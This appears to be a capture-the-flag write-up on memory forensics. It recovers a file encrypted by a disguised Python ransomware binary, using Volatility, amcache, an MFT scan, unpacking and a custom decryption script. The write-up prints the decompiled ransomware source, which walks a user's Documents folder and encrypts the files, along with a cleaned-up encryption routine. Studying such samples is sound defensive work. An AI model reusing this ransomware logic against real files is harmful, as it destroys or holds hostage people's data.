Solution
Enumeration
We are provided with two files: .vmss
and .vmem
, along with a ZIP archive containing encrypted files under the Documents
directory. The goal is to perform memory analysis and recover the original file flag.pdf
.
The .vmss
and .vmem
files are part of a VMware snapshot. To analyze the memory, we must convert them into a proper memory dump using the vmss2core
tool (reference):
vmss2core.exe -W8 Win10x64-456e5d85.vmss Win10x64-456e5d85.vmem
This generates a memory.dmp
file, which can be examined using tools such as Volatility 3 and MemprocFS.
Malware Hunting
The encrypted files under Documents
were all modified at 12:05:19
, suggesting that the ransomware was executed around that time.
However, running pslist
did not reveal any processes running at that specific time. This implies the ransomware process likely terminated before the snapshot, making it invisible to standard process listings.
Instead, we pivot to analyzing historical process execution. Amcache is a good source for this purpose. Using Volatility 3’s amcache
plugin:
vol3 -f memory.dmp windows.registry.amcache
Relevant output:
File c:\windows\system32\runtimebṙoker.exe 2025-07-01 12:05:18.000000 UTC [...] d1ef4d2a69addc1fabde574b42c25673a2d09d69
This binary was executed exactly 1 second before the files were encrypted. Moreover, it uses a visually deceptive character (ṙ
) to mimic RuntimeBroker.exe
, increasing suspicion that this is the ransomware.
We then locate the executable in memory:
vol3 -f memory.dmp windows.filescan | grep -i runtimebṙoker
Dumping the binary:
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xce05c1bd1db0
Ransomware Reversing
Running strings
on the dumped binary reveals it is a PyInstaller-packed Python executable. We extract its contents using pyinstxtractor
.
The decompiled code (transform.pyc
) was protected with PyArmor. We can unpack it with PyArmor-Unpacker.
There are three methods to unpack PyArmor. You can choose any of them freely. After deobfuscating, you will obtain the original source code.
import os
import random
import platform
from Crypto.Hash import SHA256
import math
import time
def obfuscate_vector(IIlIlIlllIIllIIlIlIlIIIlIIlIIlIllllIllll):
return (lambda .0: [ (x * 17 ^ 42) % 256 for lIIIIlIlIIIlIIIIlIIIllIIllIIIIIIIIlIIIIl in .0 ])(range(len(IIlIlIlllIIllIIlIlIlIIIlIIlIIlIllllIllll) + 13))
def pseudo_hash(IlIlllIllIlIIIllIllIllIIIllIllIIlIIlIllI):
llIlIlIlIIllIlIlIIllIIIlIllIIlIlIIlllIII = int(time.time() * 1000) % 65536
return IlIlllIllIlIIIllIllIllIIIllIllIIlIIlIllI * llIlIlIlIIllIlIlIIllIIIlIllIIlIlIIlllIII ^ (llIlIlIlIIllIlIlIIllIIIlIllIIlIlIIlllIII << 3) % 0xDEADBEEFL
def shuffle_entropy(IIIIlIIIIIlllIlIIIIlIIlIllIlIIllIIllIIlI, IIIlIlIlllIllIllIIllIIIllIIIllIlIIIIIIll):
IlllIIIlIIllIIIlllIIIlIIIIIllIIIlIlIIlII = list(IIIIlIIIIIlllIlIIIIlIIlIllIlIIllIIllIIlI)
for IIIlllllllIlIIllIlllllIIIlIIlIIlIlIlIlIl in range(IIIlIlIlllIllIllIIllIIIllIIIllIlIIIIIIll % 7):
IlllIIIlIIllIIIlllIIIlIIIIIllIIIlIlIIlII = (lambda .0 = None: [ (ord(IlllIIIlIIllIIIlllIIIlIIIIIllIIIlIlIIlII[i]) + i * 3) % 127 for lIIlIllIllllIIIlIIlllIlIllIlIIllIllIlIlI in .0 ])(range(len(IlllIIIlIIllIIIlllIIIlIIIIIllIIIlIlIIlII)))
return ''.join((lambda .0: pass)(IlllIIIlIIllIIIlllIIIlIIIIIllIIIlIlIIlII))
def randomize_noise(IIIllIllIllllIIIIIlIIIIllllIIIIIlIIIIllI):
return sum((lambda .0: pass)(range(IIIllIllIllllIIIIIlIIIIllllIIIIIlIIIIllI % 64)))
def fake_encrypt_alpha(IIlIIIIIIIIIlIIllIIlIlIlIIIlIIlllIlllIlI, IIIIlIIIIIlllIlIIIIlIIlIllIlIIllIIllIIlI):
if len(IIlIIIIIIIIIlIIllIIlIlIlIIIlIIlllIlllIlI) % 2 == 1:
IIlIIIIIIIIIlIIllIIlIlIlIIIlIIlllIlllIlI += b'\x01'
lllIllIIIllllIlIIIlllIIlIllIlIllllIlIlII = bytearray()
for lIIlIllIllllIIIlIIlllIlIllIlIIllIllIlIlI in range(0, len(IIlIIIIIIIIIlIIllIIlIlIlIIIlIIlllIlllIlI), 2):
lIIIIlIlIIIlIIIIlIIIllIIllIIIIIIIIlIIIIl = IIlIIIIIIIIIlIIllIIlIlIlIIIlIIlllIlllIlI[lIIlIllIllllIIIlIIlllIlIllIlIIllIllIlIlI]
lllllIllllIllIllIllIIIIllIlIIIlIlIIIIlIl = IIlIIIIIIIIIlIIllIIlIlIlIIIlIIlllIlllIlI[lIIlIllIllllIIIlIIlllIlIllIlIIllIllIlIlI + 1] if lIIlIllIllllIIIlIIlllIlIllIlIIllIllIlIlI + 1 < len(IIlIIIIIIIIIlIIllIIlIlIlIIIlIIlllIlllIlI) else 0
IlIIIllIIIIIlIIlIIIIlIIIlIIlIlIIlllIlllI = (lIIIIlIlIIIlIIIIlIIIllIIllIIIIIIIIlIIIIl ^ ord(IIIIlIIIIIlllIlIIIIlIIlIllIlIIllIIllIIlI[lIIlIllIllllIIIlIIlllIlIllIlIIllIllIlIlI % len(IIIIlIIIIIlllIlIIIIlIIlIllIlIIllIIllIIlI)])) << 5
IlIIIllIIIIIlIIlIIIIlIIIlIIlIlIIlllIlllI = (IlIIIllIIIIIlIIlIIIIlIIIlIIlIlIIlllIlllI | lllllIllllIllIllIllIIIIllIlIIIlIlIIIIlIl >> 3) & 65535
lllIllIIIllllIlIIIlllIIlIllIlIllllIlIlII.append(IlIIIllIIIIIlIIlIIIIlIIIlIIlIlIIlllIlllI >> 7 & 255)
lllIllIIIllllIlIIIlllIIlIllIlIllllIlIlII.append(IlIIIllIIIIIlIIlIIIIlIIIlIIlIlIIlllIlllI & 255)
return bytes(lllIllIIIllllIlIIIlllIIlIllIlIllllIlIlII)
def fake_encrypt_beta(IIlIlIlllIIllIIlIlIlIIIlIIlIIlIllllIllll, IlllIIIlIIllIIIlllIIIlIIIIIllIIIlIlIIlII):
IlIIllIlIIIIlIlIllllIlIlIlIllIlIllIIlllI = bytearray()
for lIIlIllIllllIIIlIIlllIlIllIlIIllIllIlIlI, IlllIIIllIlllIllIIIIlIlllIIIllIllllllllI in enumerate(IIlIlIlllIIllIIlIlIlIIIlIIlIIlIllllIllll):
llIlIlIlIIllIlIlIIllIIIlIllIIlIlIIlllIII = (IlllIIIllIlllIllIIIIlIlllIIIllIllllllllI ^ ord(IlllIIIlIIllIIIlllIIIlIIIIIllIIIlIlIIlII[lIIlIllIllllIIIlIIlllIlIllIlIIllIllIlIlI % len(IlllIIIlIIllIIIlllIIIlIIIIIllIIIlIlIIlII)])) * 11
llIlIlIlIIllIlIlIIllIIIlIllIIlIlIIlllIII = llIlIlIlIIllIlIlIIllIIIlIllIIlIlIIlllIII >> 2 ^ llIlIlIlIIllIlIlIIllIIIlIllIIlIlIIlllIII << 4
IlIIllIlIIIIlIlIllllIlIlIlIllIlIllIIlllI.append(llIlIlIlIIllIlIlIIllIIIlIllIIlIlIIlllIII % 256)
return bytes(IlIIllIlIIIIlIlIllllIlIlIlIllIlIllIIlllI)
def encrypt(IIlIIIIIIIIIlIIllIIlIlIlIIIlIIlllIlllIlI, IIIIlIIIIIlllIlIIIIlIIlIllIlIIllIIllIIlI):
if len(IIlIIIIIIIIIlIIllIIlIlIlIIIlIIlllIlllIlI) % 2 != 0:
IIlIIIIIIIIIlIIllIIlIlIlIIIlIIlllIlllIlI += b'\x00'
IlIllIlIIIlllllIllIllIlIIIlIIIIllIlIIIII = bytearray()
for lIIlIllIllllIIIlIIlllIlIllIlIIllIllIlIlI in range(0, len(IIlIIIIIIIIIlIIllIIlIlIlIIIlIIlllIlllIlI), 2):
lllllIlIIllllIllIlIllIlIIIIIlIIIllIllIII = IIlIIIIIIIIIlIIllIIlIlIlIIIlIIlllIlllIlI[lIIlIllIllllIIIlIIlllIlIllIlIIllIllIlIlI]
IlllIIIllIlllIllIIIIlIlllIIIllIllllllllI = IIlIIIIIIIIIlIIllIIlIlIlIIIlIIlllIlllIlI[lIIlIllIllllIIIlIIlllIlIllIlIIllIllIlIlI + 1]
lIIIIlIlIIIlIIIIlIIIllIIllIIIIIIIIlIIIIl = (lllllIlIIllllIllIlIllIlIIIIIlIIIllIllIII << 8 | IlllIIIllIlllIllIIIIlIlllIIIllIllllllllI) ^ ord(IIIIlIIIIIlllIlIIIIlIIlIllIlIIllIIllIIlI[lIIlIllIllllIIIlIIlllIlIllIlIIllIllIlIlI % len(IIIIlIIIIIlllIlIIIIlIIlIllIlIIllIIllIIlI)])
lllllIllllIllIllIllIIIIllIlIIIlIlIIIIlIl = (lIIIIlIlIIIlIIIIlIIIllIIllIIIIIIIIlIIIIl << 3 | lIIIIlIlIIIlIIIIlIIIllIIllIIIIIIIIlIIIIl >> 13) & 65535
IlIllIlIIIlllllIllIllIlIIIlIIIIllIlIIIII.append(lllllIllllIllIllIllIIIIllIlIIIlIlIIIIlIl >> 8 & 255)
IlIllIlIIIlllllIllIllIlIIIlIIIIllIlIIIII.append(lllllIllllIllIllIllIIIIllIlIIIlIlIIIIlIl & 255)
return bytes(IlIllIlIIIlllllIllIllIlIIIlIIIIllIlIIIII)
def protect_pytransform():
import pytransform
def assert_builtin(func):
type = ''.__class__.__class__
builtin_function = type(''.join)
if type(func) is not builtin_function:
raise RuntimeError('%s() is not a builtin' % func.__name__)
def check_obfuscated_script():
CO_SIZES = (55, 52, 49, 46, 42, 40, 38, 36)
CO_NAMES = set([
'pytransform',
'pyarmor_runtime',
'__pyarmor__',
'__name__',
'__file__'])
co = pytransform.sys._getframe(3).f_code
if not set(co.co_names) <= CO_NAMES or len(co.co_code) in CO_SIZES:
raise RuntimeError('unexpected obfuscated script')
def check_mod_pytransform():
def _check_co_key(co, v):
return (len(co.co_names), len(co.co_consts), len(co.co_code)) == v
for v1, v2, v3 in (('dllmethod', ((0, 3, 16), (0, 1, 10), None)), ('init_pytransform', ((0, 1, 10), None, None)), ('init_runtime', ((0, 1, 10), None, None)), ('_load_library', ((33, 22, 700), None, None)), ('get_registration_code', ((0, 1, 10), None, None)), ('get_expired_days', ((0, 1, 10), None, None)), ('get_hd_info', ((12, 10, 124), None, None)), ('get_license_info', ((11, 24, 402), None, None)), ('get_license_code', ((1, 2, 10), None, None)), ('format_platform', ((18, 18, 288), None, None)), ('pyarmor_init', ((3, 1, 22), None, None)), ('pyarmor_runtime', ((12, 5, 128), None, None)), ('_match_features', ((1, 2, 32), None, None))):
co = getattr(pytransform, k).__code__
if not _check_co_key(co, v1):
raise RuntimeError('unexpected pytransform.py')
if not None and _check_co_key(co.co_consts[1], v2):
raise RuntimeError('unexpected pytransform.py')
if not None and _check_co_key(co.__closure__[0].cell_contents.__code__, v3):
raise RuntimeError('unexpected pytransform.py')
def check_lib_pytransform():
platname = pytransform.sys.platform
if platname.startswith('darwin'):
return None
if None.startswith('darwin'):
pass
elif platname.startswith('win'):
pass
elif platname.startswith('cygwin'):
pass
libname = '_pytransform.so'
with open(filename, 'rb') as f:
buf = bytearray(f.read())
value = sum(buf)
if getattr(pytransform.sys, 'frozen', False) and sys.platform == 'darwin':
value += 1217
if value not in (120398550,):
raise RuntimeError('unexpected %s' % filename)
return '_pytransform.dll' if getattr(pytransform.sys, 'frozen', False) else '_pytransform.dll'
assert_builtin(sum)
assert_builtin(open)
assert_builtin(len)
check_obfuscated_script()
check_mod_pytransform()
check_lib_pytransform()
protect_pytransform()
if __name__ == '__main__':
if platform.node() != 'Win10':
exit()
IIlllIIIllIIlllllllIlIIlIlIlIlIlIIlIIIll = os.path.join(os.path.expanduser('~'), 'Documents')
for llIlIlIlIIlIIIIIlIlllIlllIlIIlIlIIlIlllI, lIIIllIIllIlIlIllIIlIIllIlIllIlIIIlllIIl, llllIllIllIlIIllIlIIlIlIlIlIllIIIIIlIlll in os.walk(IIlllIIIllIIlllllllIlIIlIlIlIlIlIIlIIIll):
for llllIllIllIlllIllIIIIIlIllIIIlIIlllIIIII in llllIllIllIlIIllIlIIlIlIlIlIllIIIIIlIlll:
if llllIllIllIlllIllIIIIIlIllIIIlIIlllIIIII.endswith('.enc'):
continue
IIIIIIIlllllllIlIIllllllIIIIlIlIlIlIlllI = os.path.join(llIlIlIlIIlIIIIIlIlllIlllIlIIlIlIIlIlllI, llllIllIllIlllIllIIIIIlIllIIIlIIlllIIIII)
if not os.path.isfile(IIIIIIIlllllllIlIIllllllIIIIlIlIlIlIlllI):
continue
with open(IIIIIIIlllllllIlIIllllllIIIIlIlIlIlIlllI, 'rb') as lIIlIllIlIlIIlIlllIIllIIIlIlIlllIIlIIlIl:
IIlIlIlllIIllIIlIlIlIIIlIIlIIlIllllIllll = lIIlIllIlIlIIlIlllIIllIIIlIlIlllIIlIIlIl.read()
lIllllIIlIIllIllllIIIlIlIIIllllIllIIIlII = int(os.path.getmtime(IIIIIIIlllllllIlIIllllllIIIIlIlIlIlIlllI))
random.seed(lIllllIIlIIllIllllIIIlIlIIIllllIllIIIlII)
IIIIlIIIIIlllIlIIIIlIIlIllIlIIllIIllIIlI = SHA256.new(str(random.randint(1, 13374953)).encode('utf-8')).digest().decode('latin1')
IllIlIllIIIIIlllIIlIIlIIIIllIIlIllIllllI = IIlIlIlllIIllIIlIlIlIIIlIIlIIlIllllIllll[:10]
IlIIlIIlIIIIIlIIlIIlIllIIlIIIlIlIIIlIIIl = IIlIlIlllIIllIIlIlIlIIIlIIlIIlIllllIllll[10:]
lIlIIIlIIlIIlllIlIllIllIlIlIIlllIIIllIIl = encrypt(IlIIlIIlIIIIIlIIlIIlIllIIlIIIlIlIIIlIIIl, IIIIlIIIIIlllIlIIIIlIIlIllIlIIllIIllIIlI)
IIlllIIIlIllIllllIlIllIlIIIIIIIlIllIlllI = IllIlIllIIIIIlllIIlIIlIIIIllIIlIllIllllI + lIlIIIlIIlIIlllIlIllIllIlIlIIlllIIIllIIl
with open(IIIIIIIlllllllIlIIllllllIIIIlIlIlIlIlllI + '.enc', 'wb') as lIIlIllIlIlIIlIlllIIllIIIlIlIlllIIlIIlIl:
lIIlIllIlIlIIlIlllIIllIIIlIlIlllIIlIIlIl.write(IIlllIIIlIllIllllIlIllIlIIIIIIIlIllIlllI)
Some functions are intentionally fake and only serve to confuse the code, but it’s not difficult to remove them and clean up the source and recover the core encryption logic:
def encrypt(data, key):
if len(data) % 2 != 0:
data += b'\x00'
enc = bytearray()
for i in range(0, len(data), 2):
a = data[i]
b = data[i + 1]
x = ((a << 8) | b) ^ ord(key[i % len(key)])
y = ((x << 3) | (x >> 13)) & 0xFFFF
enc.append((y >> 8) & 0xFF)
enc.append(y & 0xFF)
return bytes(enc)
The program encrypts all files in Documents
, excluding those ending with .enc
. It seeds a PRNG with the file’s mtime
and derives the key as:
random.seed(os.path.getmtime(file))
key = SHA256.new(str(random.randint(1, 13374953)).encode()).digest().decode('latin1')
The encryption preserves the first 10 bytes of the file and encrypts the rest using a custom cipher. The original files are deleted after encryption.
Recovering the Key via MFT
To decrypt the file, we must obtain its modification time (mtime
). Even though the original file was deleted, we can recover metadata from the MFT using:
vol3.py -f memory.raw windows.mftscan.MFTScan | grep flag.pdf
Volatility 3 Framework 2.26.2
Offset Record Type Record Number Link Count MFT Type Permissions Attribute Type Created Modified Updated Accessed Filename
* 0xb320dcb0 FILE 130711 1 Removed Archive FILE_NAME 2025-07-01 11:57:20.000000 UTC 2025-06-25 13:31:43.000000 UTC 2025-07-01 11:57:20.000000 UTC 2025-07-01 11:57:20.000000 UTC flag.pdf
* 0xb330e0b0 FILE 93268 2 File Archive FILE_NAME 2025-07-01 12:05:19.000000 UTC 2025-07-01 12:05:19.000000 UTC 2025-07-01 12:05:19.000000 UTC 2025-07-01 12:05:19.000000 UTC flag.pdf.enc
* 0xb61e7998 FILE 93268 2 File Archive FILE_NAME 2025-07-01 12:05:19.000000 UTC 2025-07-01 12:05:19.000000 UTC 2025-07-01 12:05:19.000000 UTC 2025-07-01 12:05:19.000000 UTC flag.pdf.enc
The modification timestamp is: 2025-06-25 13:31:43
, which corresponds to Unix epoch 1750836703
.
Decryption Script
Based on the analysis, we reconstruct the decryption algorithm as follows:
import random
from Crypto.Hash import SHA256
def decrypt_partial(enc, key):
dec = bytearray(enc[:10])
for i in range(10, len(enc), 2):
if i + 1 >= len(enc):
break
a = enc[i]
b = enc[i + 1]
y = (a << 8) | b
x = ((y >> 3) | (y << 13)) & 0xFFFF
x ^= ord(key[(i - 10) % len(key)])
dec.append(x >> 8)
dec.append(x & 0xFF)
while dec and dec[-1] == 0:
dec.pop()
return bytes(dec)
if __name__ == '__main__':
with open("flag.pdf.enc", 'rb') as f:
data = f.read()
random.seed(1750836703)
key = SHA256.new(str(random.randint(1, 13374953)).encode()).digest().decode('latin1')
output = decrypt_partial(data, key)
with open("flag.pdf", "wb") as f:
f.write(output)
print("Done")
Result
After running the script and opening the decrypted flag.pdf
, the flag is successfully recovered.